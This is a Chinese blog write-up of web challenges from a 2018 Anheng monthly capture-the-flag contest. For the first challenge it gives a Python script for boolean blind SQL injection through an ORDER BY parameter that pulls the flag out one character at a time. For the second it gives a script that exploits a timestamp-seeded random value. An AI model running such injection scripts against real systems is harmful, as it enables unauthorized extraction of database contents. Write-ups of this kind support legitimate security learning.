2018安恒月赛wp——web

边听大佬直播边写wp

第一题:sql注入

提示信息:

  • order注入
  • select flag from flag

order注入表示利用布尔注入看最终的排序情况
select flag from flag表示不用查库查表,直接上手

直接跑python脚本

import  requests

payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}?!')
sjk = ''

for i in range(1,30):
    for j in payloads:
        response = requests.get('http://101.71.29.5:10004/?order=if(substr((select%%20flag%%20from%%20flag),%s,1)=%%27%s%%27,name,id)&button=submit' % (i,j))
        data=response.content.decode("utf-8")
        if data.find('Beer')<data.find('snacks'):
            sjk+=j
            print(j)
            break
print(sjk)

这里写图片描述

第二题:

一开始想成是md5的hash扩展长度攻击,但是有没有办法匹配。又想是key的遍历,觉得也不太靠谱。时间戳倒是想到了,但是没想到是一秒内时间戳,看了wp就已经懂了。

随机函数是由时间戳决定的,属于伪随机,精度为秒。
当我们随便输入一串md5时,他会给出刚才提交时的时间戳形成的 r e s a u l t resault再次提交以获得flag

import requests
import re
import io
import sys

url="http://192.168.32.128/flag.php"
s=requests.Session()
s.encoding='utf-8'
payload={'answer':'6dc32db3170899e5b138eb4becaf69a8'}
q=s.post(url,data=payload)
html_doc=q.content.decode('utf-8')
payload={'answer':html_doc[160:192]}
q=s.post(url,data=payload)
print(q.content.decode('utf-8'))

具体实现等下周二复现。

第三题

原谅我不会写。等下周二复现。

注:第一题sqlmap的用法等下周二复现,第二题具体操作等下周二复现,第三题所有做法等下周二复现。

猜你喜欢

转载自blog.csdn.net/qq_37432787/article/details/81148860